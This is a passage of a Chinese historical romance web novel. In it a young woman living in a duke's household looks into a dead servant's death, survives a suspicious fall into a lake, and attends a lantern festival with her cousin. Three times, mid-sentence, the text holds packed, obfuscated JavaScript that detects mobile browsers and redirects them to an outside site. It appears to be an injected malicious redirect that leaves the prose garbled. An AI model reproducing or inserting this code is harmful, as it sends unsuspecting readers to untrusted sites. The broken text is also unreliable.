水断栩听出言外之意，婆子亦然，连忙以方才之态待她，继而转身通传，掩袖时不知是否在悔玩岁愒日。 婆子一去，院内渐渐无了声息，连同惨叫声和叱骂声，统统失了踪影，余下的便是婆子嗒嗒嗒脚步声与洒扫的嚓嚓声。 “世子，水娘子，夫人请您们进来说话。” 水断栩抿发整簪，一手提起衣袂跨过门槛，一手执团扇遮面，随在祝见粼身后。 团扇遮掩下，她余光瞥见，两婆子正拖拽着一负伤女使，想来便是期儿，而一旁女使则是在濯血，可这殷红似是涤不尽，飒飒声随着期儿一同留在这片天地。 陶氏许是被这殷红夺去了气色，亦或是因贴身女使做出此事的嗔怒，面色惨白如纸，说话亦是气若游丝。 “粼儿，上回……你是因栩儿初来乍到，适才……适才来了内宅，常来会……会惹得非议。” “母亲，儿子有要事才进内宅，不曾想扰了母亲心神，望母亲恕罪。”祝见粼拱手赔罪后，讲起要事，“约莫寅时，赵管家声称府中名唤几冬一小厮失踪，经寻觅，人在义冢，已身死，不知母亲要如何处置此事。” “咚！” 水断栩身前的陶氏还并未开口，身后传来响声，众婆子女使顿时手忙脚乱，不知先是自请其罪，还是将血厥的期儿扶起。 混乱之下，陶氏直捂着心口，秀眉紧蹙，几冬如何处置一事不了了之。 待李嬷嬷将陶氏扶回屋中，三人也需告退，退后三步，方转身离去。 这溪光居，倒更需一时安宁。 “表哥留步！” 眼瞧着祝见粼同小厮吩咐着，欲回身一转离去，水断栩连忙唤住了他，平日清啭珠落之音，此刻却显嘶哑。 “方才捉腕一事，是为兄唐突了，在此给妹妹赔个不是。” 祝见粼一语出，倒是令她措手不及，自己有好些不解之处，为何要相帮，为何要赠药，为何…… 是了，为何？自己若决意开口，将桩桩件件事情问询，有未有着落还需另当别论。 他大可如那日一般，将自己置身事外，撇得一干二净，显得不懈问询的自己好似刻舟求剑、夏虫语冰。 既有前车之鉴，自己理应长一智了，遂她开口道。 “表哥这是哪里话，倒是折煞妹妹了，方才唤住表哥，只是欲问询几冬之事一二，毕竟是我外院的小厮，却落得如此……” “世子，世子，小的取来了……” 话未尽，见一小厮取一绣履函朝他们而来，许是年纪尚小不知礼数，亦或是未瞧见被遮挡住的水断栩，总之，他自知嚷嚷失礼，正请罪着。 水断栩確为欲知晓其中一二，告饶声略些心烦，她摆摆手，小厮这才住口。 片刻沉寂后，众人眸光不约而同落在小厮手捧之物，水断栩亦不例外。 眸光落在祝见粼面容上，不知是看错眼还是旁的，竟携着一丝不自在来。 不自在？无稽之谈。 她疾速将此念头抛之脑后，耳旁传来祝见粼解释之声。 “此物是我备下之礼，准备不日将赠予他人。” “原是如此，那几冬一事……” 水断栩倒是不在意此事，毕竟是私事，可几冬一事实属蹊跷。 “妹妹若是想知，用膳过后来花园一趟。” 祝见粼同小厮身影在眼帘中远去，水断栩则攥着罗帕思忖着。 “娘子，”缄口不言的玉盘终至出声，“方才奴婢见世子来，本是要通传您一声，可世子示意奴婢噤声，适才……适才未知会您。” “无妨，眼下之事要紧得多。” 二人朝青塘苑走去，方才思绪中断，遂在路途中复盘算着如何靠近期儿一事。 期儿生得貌美，做事手脚麻利极少出纰漏，可几冬容貌只算得上端正，行事游手好闲，在外借着国公府身份仗势欺人，不知与多少人结怨，今日身死，不准便是哪个仇家寻来。 如此不相配二人，如何有得首尾？倒是令人不解。 “世子，您这礼……” 小厮随了一路，暗暗叫苦，生怕哪句话惹得世子不快，可寻来觅去，开口一句话还是触了逆鳞。 “你说，我贸然送礼，是不是实属唐突？” 小厮本候着世子爷的惩处，未曾料及遇到一个愈加棘手之事，心中叫苦不迭，面上支支吾吾道。 “世子爷做事……” “我见她鞋履脏了，便念着赠一双，可竟忘了，不好会成暗示私相授受之物……若妹妹接受，遭受非议的是她，而我安然无恙……终究是我思虑不周。” “本欲寻个由头赠予她，可思来想去，还是无缘无故，何来有兄长赔罪礼是一双鞋履？倒成定情信物……” “可这鞋履……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955511|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见世子为此事难以决断时，小厮几近绞尽脑汁，终是想出一法，瞧见四下无人，低声语道，不过法子倒算不上高明。 孟夏炎风不似春寒料峭，已携来些许暑气，勾得水断栩的魂魄徜徉在风中。 “娘子，您匆匆用完膳，不准世子不在亭中，近来夏始，天不似从前凉快，娘子还需多当心些。” 玉盘一番絮叨终究是付之东流，水断栩心中有要事，如何食安？尝了几口便放下银筯。 踩在小径卵石上，感知着足底纹路，开凿的湖引入活水，鲦鱼出游，过鳍无痕，走往湖心亭，见得湖畔，倒是别有一番景色。 走至湖心亭，才发觉祝见粼早已坐在此处，似是已等候多时。 本欲开门见山，直接问询几冬之事始末，可瞧着祝见粼并无此意，此一边斟茶浅啜，彼一边赏湖赞叹。 分明不是头一回见此景，论惊诧，合该是水断栩自己才是。 “此情倒让为兄念起一句古语，翠尾穿波，银腮噀玉，泼刺空潭里。【注1】” 水断栩不知他要赏景到何时，开口言语时，语气满是焦灼。 “表哥，几冬究竟因何而死？可请仵作验尸？” 祝见粼闻言，缓缓放下茶盏，一副痛心疾首之态道。 “仵作验尸，道明是殴伤致死，几冬遍身有拳脚痕迹，身上有手足伤，似还有凶器，仵作言说是他物。如今问询父亲母亲如何处置，母亲今日所见不宜再问，父亲欲盖此等丑事，怕是几冬尸身只能葬在义冢了。” “原是如此，有劳表哥，院中还要事务处理，先行一步了。” 待获悉自己想知晓的，水断栩亦不愿久待，起身匆匆离去了。 归途她在思忖着，此事存有疑点。 不对劲，就算此事只是仇家寻来殴打致死，涉事人不应只是仇家而已。 夜间出府一般不被允许，即便被允许亦要取对牌，去门房处登记，回来时再禀明。 门房处便全然不知？亦或是几冬平日里欺压他人惯了？从而径直越过门房？ 欺压门子倒是他会做之事，可门吏他亦有胆量去要挟？ 水断栩不得而知其中隐情，失神间走上木桥，还未下桥，忽感安身不稳，一不留神，竟直直跌落水中。 沉浮间，求生欲望令她呼救着。 “来人啊！救命啊！” “来人啊！有人落水了！快救人！” 水断栩是会水的，可当时水草缠住她的鞋履，她的足踝，自己只能挣扎呼救。 所幸有女使适时经过此处，不然水断栩真成孤魂野鬼还未有人发觉。 发现她的女使，便是那日奉命来伺候她沐浴的两女使其中之一。 名唤日藕，另一女使名唤时莲，古语中，问何日藕、几时莲【注2】。恰是二人名字出处。 水断栩全身浸湿被救上岸，直哆嗦着，玉盘闻讯赶至湖边，当即用衣物将她裹得严严实实。 她被扶回了青塘苑，沐浴一番后换上寝衣，坐于榻上，只感劫后余生。 “娘子，怎会好端端地跌入水中？倒真是吓坏奴婢了。” 水断栩喝着姜汤，缩在衾被中，倒不觉炎热。听玉盘问询，念起落水一事怪异之处。 “今日……桥上油光水滑，好似……被泼了皂角水。” 5. 遂愿舟 “皂角水？”玉盘闻言不由惊呼，许是自觉失言，急以罗袖掩檀口，徐行数步，四顾逡巡，察其左右，见无人，才长舒口气。 “粗使女使定不敢出此纰漏，定是有人要使坏，可娘子并未与旁人结仇结怨……此人却有害人之心，看来是附膻逐臭之辈，今日敢泼皂角水，明日不准是何，娘子可要有所行动？” 玉盘低声剖析此事，声音低至只有她们二人所闻，眉宇之间是藏不住的忧心。 而水断栩定定地望向她，心中则回到从前，她自幼便跟随自己，不论是从前所受责骂，还是累及所受的拶刑，皆无所怨言，论忻愉时，夏时游湖，冬时赏梅，总有她相伴左右。 心中回忆渐止，眸光从眉宇移到十指，这几日敷着药，伤已稍苏，不似乍伤时行事不便。 “娘子？您不会是……阿也阿也！夫人临行前嘱咐奴婢要护娘子周全，如今怎生是好！” 正失神的水断栩，被这一声声呢喃唤回神，见玉盘踟蹰不前，吐言道。 “我无事，落水尚不知是何人所为，暂且勿轻举妄动，这样，你将日藕时莲叫来，此事若非她们，我怕早已溺亡成魂，此外，我落水一事，闻者几何？” 姜汤饮下后，神志亦清醒些，此事若传至国公与夫人处，不准会起何看法，是以要大事化小。 “娘子宽心，方才奴婢一闻讯，除取来衣物，便是烦刘嬷嬷禁绝浮言，凡乱嚼舌根者，一律寻管事妈妈扣月钱，如此，她们应是不会乱言。” 刘嬷嬷到底是国公府老人，在女使与婆子中颇具人望，如此一来，水断栩可稍稍放心。 她将衾被拢了拢，在此间隙跫音起，三人身形映入眼帘。 玉盘穿着秋香色绢布狭领长袄，下身素纱长裙，双髻上无别钗，素布带悬于腰间，很是朴素。 反观日藕时莲二人，倒是华丽些，腰间悬着三串禁步，走时声响急促，织锦绦子裹着藕色衣裳，发髻别着银簪，论何人见了，皆会以为，她们才是贴身女使。 水断栩眸光一沉，下一瞬恢复如初，命玉盘取来妆匣，匣中寥寥无几金簪与玉镯，她并未错过二人眸中一闪而过的不屑。 她将匣中零星首饰取出，摆放一旁，启齿道。 “我素来不喜装扮，这些留着也是无用，你们既救我一命，合该是要有所报答，若是有合眼缘的，取走便是。” 莫说二人，便是玉盘闻言亦是一愣，她唇瓣翕张，唤了几句娘子，旁无他言，可水断栩只坐在榻上，充耳不闻。 良久，见她神色不似戏谑，日藕率先回过神道。 “谢娘子所赐！奴婢必当感念娘子体恤！” “谢娘子赏！奴婢必当更加勤勉！” 时莲随之回神，不甘示弱般亦感念恩典，二人旁若无人地挑选着，只留下一素银簪子。 本戋戋之数，现化为乌有，水断栩转眸，入目是空无一物的妆匣，耳畔所闻是二人正攀比相较。 “若无事，你们便下去罢，我乏了。” 见水断栩出声驱逐，二人遂不再自讨无趣，禁步之声响在屋内，低语时藏不住窃喜，叽叽喳喳实属聒噪。 “玉盘，你亦随行，倘有缓急，可再进。” “是，娘子好生歇息。” 妆匣合上被放置一旁，跫音渐远，水断栩如释重负，困意袭来，脑袋此时昏昏沉沉，只欲歇息，就枕而寐，恍若入梦乡。 迎亭瞳之日光，水断栩不觉用手遮挡，从指缝中，入目是一片绿意，继而传来马蹄声，应是猎场，手垂下，迎面便瞧见几个乳臭未干稚子将一黄口孺子合围，口中戏谑着。 “亏你还是世子，倒是连我庶兄皆不如，骑射不精，何敢来田猎？” “怕是来为我们拾箭报靶，弓韬剑匣！” “你们所言实属过分，堂堂世子能与圉人相提并论？可当心些，不准便令人泣下沾襟！” 见他们轩渠大笑之丑恶模样，水断栩怒目切齿，走上前便要将他们拂拭开，指尖却在触碰到身躯的刹那，直直穿透过去。 正疑惑之际，感知到衣袂被人轻轻扯住，想来便是方才被欺的黄口孺子，正要回首，梦戛然而止，取而代之是熟悉的喊声。 “娘子，娘子？” 感知到身躯微微晃动时，玉盘声音复传入耳畔，她抬手拭目，徐徐睁眸，窗棂外已然碧霞笼夜。 “何时了！我本欲小憩一会，怎会……还未去问省……” 她窸窣而起，稍稍襚衣，坐于镜台前，身后的玉盘却不疾不徐地走来。 “娘子，李嬷嬷方才传话来了，夫人身子抱恙，不宜见人，遂问安问省皆免了，娘子亦不须去侍疾。” 陶氏病了？是了，今日一见，面容很是憔悴，心中確有此想，未料到竟果真如此。 放下手中的梳篦，不免唏嘘，抬眸却见玉盘阖门扃牖，阒其无人，才趋步走至她身旁道。 “娘子，此事道来蹊跷异常，期儿按理是要被严惩，本关于柴房处待其自生自灭，却有几个女使联合为她陈情，夫人竟因此将她释出，只沦为粗使女使，而这几个女使，恰是前些时日，同奴婢道明二人私情的家生子。” “你意所指，这几个家生子陈情一事，有人指使？” 水断栩闻言垂下眸，人式微落魄时，旁人皆落井下石，此几家生子若真是仗义之辈，亦不会图势告密。 “玉盘，你……” “玉盘姐姐！” 牖外响起几道喊声，获水断栩示意后，玉盘才发足而出，叫喊声渐止，继而是玉盘匆匆而入。 “娘子，世子身旁的小厮传话，道娘子初来京城，还未见识过京城市肆，要领您去逛一番。” 逛市？祝见粼缘何如此？ 心虽是忐忑，但明面仍是应下，梳头女使进屋，位于身侧持起梳篦，窗亦被推开，清风徐来，月白风清。 簟纹如水，水断栩一袭湖蓝色衣裳，青丝间仅别着一支素银簪子，柳腰莲步，仪静体闲。 水断栩远远便瞧见，熙熙攘攘中轩然霞举之身影，遂趋步朝他而来。 似是感知她的到来，祝见粼回身一转，四目相对间，她顿住脚步，他屏息敛声，二人相顾无言，万籁俱寂，惟有心荡不息。 水断栩欲从他的双眸中获悉什么，可他一如既往般，眼眸中不含情愫，仍拒人于千里之外的模样。 “娘子？娘子？” 经玉盘反复唤着，她终至从那双眸中抽离，方才，她险些浸在其中。 “表兄万福。” 她佯装无事发生，款款上前福了福身，行事令人挑不出错处来。 自刘嬷嬷被遣来青塘苑，因从前行事随意惯了，水断栩未少被指摘一二。 “贤妹同福，表兄今日贸然邀约，实则今夜河边放祈愿灯，不知绽翩之习俗，遂念着让表妹来瞧瞧。” 水断栩颔首答话，继而一前一后走在往河边的途中。 方才不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955512|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否为她看错，祝见粼的眸光，竟落在自己发间素银簪子上。 途中，二人无言，二人自成一片天地，隔绝周遭人声鼎沸。 祝见粼并未启齿问询落水一事，便彰显他并不知情此事，她念及此，心中重负轻了些，脚步亦轻快了些。 “到了。” 四人行至河边，水断栩循着眸光看去。 只见河流涓涓不壅，漾漾悠悠，河面上已有不少祈愿灯浮着，一旁的摊贩道，只顺流而下抵达下流，才算愿成。 “表妹将自己愿望写在灯上即可，我去去便回。” 祝见粼从摊贩处买了一遂愿舟，经小厮传递至玉盘，再经玉盘递至她双手上。 水断栩手执毛笔，正思忖着写何愿望，忽闻祝见粼此一番话，还未回应，他便拂袖匆匆离去。 “娘子，可要候世子归来？” 玉盘手中亦被塞了祈愿灯，见她提笔又落，战战栗栗，水断栩便开口安抚道。 “无事，表兄既道明，我们只管写下心愿便是，若是表兄归来见我们还未写完，不准要斥责濡滞不进。” 玉盘闻言，忙得提笔，因十指之伤未愈，落笔歪歪扭扭，活似百足之虫。 水断栩本是要相帮，可玉盘起了执拗劲，硬是要亲力亲为。 她不再强求，凑近瞧着，玉盘写着费劲，她念着亦费劲，不觉间，二人皆秀眉紧蹙，很是吃力。 “愿娘子与……我……平安喜乐。” 待她一字一句念出时，玉盘方才收笔，心愿被置在目光下，难免面红耳赤，只见玉盘吞吞吐吐道。 “娘子，愿望不可道明的……会不灵验。” 趁玉盘吞吞吐吐之际，水断栩执笔，洋洋洒洒写下自己所愿，继而将遂愿舟与祈愿灯，一同置于河中。 “娘子愿望是何？” “念出来，便不灵了。” 见灯与舟顺流而下，二人拊掌而笑，继而候着祝见粼归来。 风乍起，将二人等候随着流水，传至下游。 “世子，此等小事，小的去办就行了，何敢劳烦您亲自去做？” 小厮竭力赶上，口中满是劝阻之语，若是让老爷得知，世子今日编造由头邀水娘子逛市，眼下去下流处候着水娘子的遂愿舟，老爷首当其冲责难的便是他自己啊！ “你若再多嘴一句，往后便不必跟随在我左右。” 祝见粼此话一出，小厮顿时住了口，做世子身旁的红人，与被老爷责罚，虽分不得孰轻孰重，但总归他一个惹不得。 “遂愿舟……遂愿舟……” 祝见粼口中呢喃着，阔步上前，算着“脚程”，舟应当顺流而下了。 “世子，那！” 祝见粼赠予她的是摊上独一无二的舟，他特意挑选而出，远远便可瞧见，眼下经小厮一说，仅此无二的遂愿舟果真来了。 舟如其名，顺遂，旁的河灯沉底或搁浅，而此舟却漂流着不顾阻碍。 随之一同而流的祈愿灯却并非如此，径直沉底后，便悄无声息。 见遂愿舟安稳着，他振衣欲离去。 “如此，便可顺遂。” 毕竟他叮咛了水断栩，似今夜热闹情景，不准鱼龙混杂，在原处候着自己最好，若是想逛市，亦不要离远。 “世子，您瞧那烟火！水娘子瞧过没？” 祝见粼闻声望去，瞧见火树银花，继而眸光落在花炮上。 “烟火？” 6. 仗义执言 二人左支右绌，祝见粼身影迟迟未现，心中已有些许烦躁与不耐。 “娘子，这市肆如此热闹，不如我们先逛市一会，总归世子还未归。” 水断栩闻言，虽受祝见粼叮咛，但他亦言明，可去逛市，遂觉着言之有理，稍稍整簪，便离开灯摊，朝人多处而去。 今日放河灯祈愿，市肆众楚群咻，市嚣如沸，商铺屋檐下亦悬挂着种类不一的花灯，流光溢彩，老少妇孺皆手持花灯，面容携着笑颜。 鱼龙曼衍，火树银花，二人观了一路杂耍，很是惊诧，京城到底是京城，此等佳景，绽翩少有，亦未有如此热闹非凡。 “娘子您看，”本浸在喧闹中，玉盘声音倏然响起，她指尖朝着一个方位，继而言道，“那人，不是那日拦截娘子的城门吏吗？” 念着祝见粼的叮咛，本不欲走远，却仍是循着所指方位看去。 果真是那日的城门吏，他上身着青黑色窄袖短袍，下身着墨色行縢，毡帽有些许旧了，正站于灯摊旁，身旁站着一娘子，着青色布裙，二人似正与摊贩僵持着。 许是好奇，水断栩受牵引朝灯摊而去，走得近些，她便听得城门吏与摊贩之间争执。 “郎君，这灯并非是简单纸糊了而做，您去旁的灯摊瞧瞧，这羊角灯，我卖六百文算公道了，你弄坏了总不能不赔吧。” 摊贩将一破损的羊角灯高高提起，底部確为破损，纵使持有“物证”，可城门吏仍旧为自己辩解着。 “胡说八道，这羊角灯如何是我弄坏？你方才递与我时，便是如此！” 城门吏争执间涨红了脸，单薄的荷包在风中摇曳着，与衣裳相融，令人险些看不真切。 “看来我今日是碰上无赖了，各位各位来看看呐！此人身着皂衣，好歹是个官，官欺民，是何天理！” 二人正僵持不下，摊贩忽地大言炎炎，声音响遏行云，斥责着城门吏损坏花灯不认之事。 市肆本就人山人海，听到动静，众人目光皆聚拢在此，自发地将他们围起，连带着水断栩与玉盘。 “为官怎能做此等事？读的圣贤书看来是全白读了！” “瞧他模样，倒是还觉羞赧，累及他娘子，大庭广众经此等事。” 周遭窃窃私语声传至水断栩耳中，想来城门吏亦听个真切，见他面颊绯红，汗浸额角，手攥成拳。 “此事好办，既存纠纷，送去官府便为极佳解法，想来如此，可还清白与公道。” 一股道不明的情愫竟驱使她上前，待她说罢，众人目光齐齐已然落在她身上，本在她身后的玉盘，此时挡在她身前。 “娘子，此事与您并不相干，您不必……” 城门吏身旁娘子出言，可水断栩视若无睹，直直望向摊贩。 她今日虽只戴了支素银簪子，可身上衣裳到底能瞧出来并非小门小户，举手投足间又携了不容分说之凌厉，望着摊贩直发怵。 “罢了罢了，不赔便不赔，你们有财有权之辈，我们平民百姓认栽！” 摊贩见有人相帮，欲揭过此事，何人料得水断栩倏然越过玉盘，阔步上前，将另一羊角灯举起，示众人一观。 “各位方才瞧见了，我可什么手脚未做，这摊贩以次充好，强卖于人，还诬赖！理应扭送官府！此外，还需向你所污蔑之人赔罪！” 摊贩见事情败露，转身欲弃摊而逃，却被城门吏拦住，他只好连连告饶赔罪着。 “大人您大人有大量，绕过小的吧，小的家里还有嗷嗷待哺的婴孩，万不能送去官府啊。” “你方才污蔑我时，怎未料得此景？” 所幸他并未心软，而是牵制住摊贩，令其挣脱不了。 此事动静引来了巡逻的弓兵与火甲，获悉来龙去脉后，当即抓捕了摊贩。 人群渐渐散去，余留四人，着青色布裙的娘子率先出言道。 “多谢娘子今日相帮，不然奴家真不知如何是好了……” 感激之言中，她获悉眼前人名唤春月，而城门吏为她的夫君，今日二人来放河灯。 待春月道完，身旁城门吏竟出了神，直至春月轻扯他的衣袖，他才回神，拱手道。 “在下名唤李青蔽，多谢娘子今日出言相助，城门一事，实属在下职责所在，望娘子勿要挂怀。” “李大人不必如此，若我挂怀，今日亦不会如此行事。” 见春月不解，她便略微阐释了那日发生之事，春月才恍然大悟，继而不住地赔罪着。 “原是如此，竟让水娘子……万望海涵。” “春娘子不必，此乃李大人职责所在，事出有因。” 春月二人本欲放河灯，却被此事搅了兴致，如今只欲归家，待目送二人离去后，水断栩适才念起，自己已与玉盘离开原处很久了，就算祝见粼再缓慢，亦该到了。 还未转身，玉盘凑在耳旁低语着。 “娘子，玉盘今夜瞧着，那李大人神情不对劲，眼神飘忽躲闪，时不时失神，奴婢隐隐觉着，李大人近日定是做了何亏心事。” “亏心事？李大人瞧着刚正不阿，不准是你看错眼了，快些走吧，表兄不准正寻我们呢。” 水断栩并未将此番话放在心上，念着时辰不早，恨不得似天上的鸟雀赶去，或是被风裹挟着，吹至国公府。 抬眸，夜深了，月色浓浓悬于苍穹，转身欲走时，却见玉盘一动不动。 “玉盘？不回府在这瞧什么……表兄？” 怪道玉盘瞠目结舌，连水断栩亦是惊愕失色。 人群虽散去，但仍有流动如水般之人经过，流水中却有顽石岿然不动，祝见粼在不远处纹丝不动，只默然睇视着自己。 “表兄……我方才是见你迟迟未归，我又未瞧过京城风光，便去一观……这才晚了些。” 水断栩疾步走至他眼前,鬼使神差地垂下眸，向他解释缘由，言语间不敢望向他的双眸，眸中的冷冽似是一触碰，便顷刻间化为冰。 说罢，祝见粼并未当即回应，纵使她垂下眸,亦察觉到眸光落在自己身上，不由地咬住唇瓣,良久，久到她不寒而栗，才听得他开口。 “原是如此，表妹方才仗义执言，出手相助，为兄见了甚是欣慰，眼下既表妹亦归，便回府罢。” 话尽，祝见粼便拂袖先行，一旁的小厮见状连忙跟上，留水断栩在原处一时怔然。 他……方才统统听去了？还是…… 正当她百思不得其解时，脚步声忽地止，小厮痛呼声响起，继而是祝见粼冷冽之声。 “表妹若是有意耽搁，为兄倒是乐意奉陪，若是想回府，便跟上。” 声音打断了她的思绪，闻言她忙不迭提起衣袂，顾不得刘嬷嬷昔日教导，“嗒嗒嗒”跟在祝见粼身后。 离国公府不远处时，祝见粼再度顿住脚步，语气轻缓，已然不见怒气与冷冽。 “为兄承认，我迟些归来，未守诺是为过，可你知晓那摊贩会不会猝然急兔反噬， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955513|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进而伤害你？那被为难二人又是何品性，你亦不知，我方才赶来时，你已争论过，若非途人谈论起……” “仗义执言是好事，可在自身为弱时，还是勿要如此。” 水断栩闻言先是一怔，继而才知，原他今日反常是忧虑自己安危。 心中一股莫名其妙的情愫涌上，自己在绽翩时，爹不疼娘不爱，纵使临行前交代玉盘护着自己，她亦知晓不过是虚言，浮于表面。 故水断栩未曾体会过被人关心之感，她不知该如何面对这关心，方才她上前相帮李青蔽与春月时，有一缘由便是，她在二人四目相对时，瞧见了道不明的情绪。 如今看来，此情愫，名为关心，名为忧心。 如今竟真有人关心自己，不论是陶氏还是祝见粼，她一刹那划过脑海中的念头，是逃避。 故她唇瓣翕张，不知该如何回应，良久，她终至启齿道。 “我只是……觉着……” “砰！” 话还未完，空中倏然迸发烟火，如流星赶月，飞琼溅玉，盛放在水断栩的双眸。 “我不知绽翩烟火如何，便念着让你瞧瞧京城的烟火。” 祝见粼说罢，便从角门入府，水断栩霎时间明了他为何迟迟归来，她轻声问询一旁的玉盘。 “玉盘，我若是听表兄所言，不走远……” “娘子，救人乃是积德行善，世子许是一时忧心，不准明日您去言明便好了。” 水断栩闻言迟疑着，自己是如何走回青塘苑皆不知。 枯坐一夜，全无睡意，直至东方既白。 “娘子，您这是……未歇息好吗？”玉盘正要来侍奉，见她面色略显憔悴，问询道。 “无事，姨母身子不适，虽不用去侍疾，但总要去看望一番。” 梳妆一番后，勉强遮住颓唐，襚衣而往。 行至溪光居，远远入望的是祝在翩正观鱼戏水，双眸随鱼游而移，充斥着专心致志。 水断栩见状，知不便打搅，遂竭力放轻脚步，不弄出大声响。 “母亲还未起，姐姐还是候着婆子通传罢。” “我识得姐姐不算惊诧之事，府中这般大事，我到底还是知晓的，素未谋面之人，想来便是姐姐了。” 祝在翩倏然开口，解释了她为何识得自己一事，眼眸却未离开鱼儿一时，若非她言语携着“姐姐”，水断栩险些以为自己听岔了。 “原是如此。” 她讪讪一笑，继而静静候着婆子，左顾右盼以此来放置无处安放的目光。 “沙沙。” “沙沙。” 四处张望之际，见一粗使女使正持着棕刷，清洗着青石板，看模样很是吃力，似是头一回做此等活。 水断栩朝她迈进了几步，许是脚步声招耳，她抬眸，仰起自己面颊，恰与水断栩四目相对。 下一瞬，她便匆忙垂首，愈加用力地擦拭着青石板。 期儿？ 那日她是瞧见期儿面容的，纵使血迹已除，可她仍是认得出。 即便玉盘已然告知她为粗使女使一事，亲眼瞧见时，还是有些许讶然。 不过……有一事她颇为不解。 方才她眸中，有恨。 水断栩与她并未有正式相识，她缘何会有恨？实属令人费解，眸光复落在期儿身上，可直至她离去，都未曾再抬眸。 如此反常之举，藏形匿影，论无人浸润之谮，她是不信的。 7. 成算在心 不知是何人加以挑唆，令毫无羁绊二人生起怨念与恨意。 水断栩冥思苦想，二人之间，若论羁绊，怕只有几冬。 自己新发于硎，人地两生，却指名道姓遣几冬来青塘苑，夺了他原本的好差事，难免令人想入非非其中缘由，她虽不知，期儿是否得知自己威胁几冬一事，但二人既有首尾，合该沆瀣一气。 可几冬几日未有便身首异处，自己纵使算无遗策，亦是无法料及。 若真是如此缘由……水断栩忽觉受覆盆之冤，此乃名副其实的无妄之灾，阿也阿也！ 几近殚精竭虑之际，水断栩终是走出廊下，前有皂角水，后有泼脏水，孰能无所行动？ “四娘子、水娘子，夫人言明不必来探望，怕病气过给您们，特让老奴通传一声，怕您们久候。” 她方迈出步子，守门婆子与其同时亦来回禀，她莲步俄停，待闻完婆子话语后，复款步而行，不料祝在翩稚嫩童声在身后响起。 “姐姐走得如此决绝，怪道是青塘苑有何新奇玩意不成？若果真有，翩儿待下回再去，阿兄亦感风寒，翩儿要去探望一二。” 阿兄？ 水断栩神思凝滞，继而暗道自己如今蠢笨，阖府上下，祝在翩能唤阿兄之人，便只有祝见粼一人，还能有何人？ 方才她言风寒？祝见粼竟病了？ 她眼前忽地浮现昨夜一幕，祝见粼幽怀独抱之神情，只予她一个落寞身影与陈情之言。 如今虽已至蚕月，但夜间仍旧是凉风阵阵，一不留神，风便会趁虚而入。 他昨夜为了稍纵即逝的烟火，想来曲尽其妙，幸而她瞧见了那抹绚烂，遘此她忽视了祝见粼一片丹忱。 可兄长一词，她不愿亦不敢再去触碰，水断栩踟蹰不前，无端忆起了往事。 “栩儿，你听娘一言，弃了这些发簪钗子，这皂靴皂衣，岂不是更好？” 水家此时被一片长戚笼罩，纵使是一只鸟雀飞进家中，亦要怆然泪下离去。 还未及笈的水断栩正抱着阿兄的灵牌哭嚎着，她闻娘所言，再见递与的皂衣，颤颤巍巍接过时，不知六年命运已注定。 长祚四十年，因水父升迁，一家人从堇字跋涉至绽翩，这一往，便有月余。 双喜临门，水兄成为堇字唯一可赴布政使司任职之人，亦随父去绽翩。 可天不遂人愿，途中水兄经险途，失足坠崖，不知所踪，死未得见其尸身，爹娘闻讯，悲恸不已。 除悲，便是惧与难舍，一来是惧自己计谋会露出马脚，毕竟替兄入仕一事，一旦发现，便是欺君之罪论处。二来是难舍，若放弃布政使司此等美差，纵使只是参议，他们亦是不舍其所携的“富贵”。 水断栩初次获悉他们计策时，她如世间旁人看法所见略同，皆以为此举过于荒谬与险，一步踏错，便是满门抄斩。 她反抗过既定命运，可见到娘声泪俱下苦苦哀求，见爹因丧子之痛一夜间苍老不已，水断栩知晓，自己无路可走，哪怕是死路，皆未有踏入之权。 心软之人，便是福薄遭愈多苦难之人。 每每夜深人静，万籁俱寂之时，她脑海中总充斥着许许多多嘈杂之音，徐徐睁眼，自己站于悬崖之上，风飒飒掀起她的衣袂，而阿兄便立于她眼前。 继而在她毫无防备之时，将她推下山崖，呼号声每每将她唤醒，这才惊觉，一切皆是一场梦，坠下悬崖为虚，阿兄亦为虚。 “娘子，娘子？” 一声声谙响在耳畔响起，心翳渐消，玉盘关切的面容映入眼帘。 “娘子，此回玉盘办事不力，竟无故耽搁了时辰，奴婢不知晓怎能起得如此迟……” 今日水断栩见玉盘还酣睡着，遂挑了个二等女使跟随自己左右，眼下听她这番说辞，果真存蹊跷之处。 据玉盘细细回忆着，她自己亦发觉不对劲来。 “奴婢觉着……比以往都睡得踏实，睡得沉，怪道是有人在耳房燃了安神香？莫不是因夫人近来身子不适，让奴婢懒怠累及娘子？可……如此不痛不痒的把戏，何人会闲至如此？” 说罢，二人不约而同望向彼此，透过双眸，获悉了解答。 回青塘苑路途中，水断栩到底是开口吩咐玉盘道。 “表兄着了风寒，玉盘你去遣日藕时莲去药局，开几副药，务必嘱咐她们要尽快办事。” 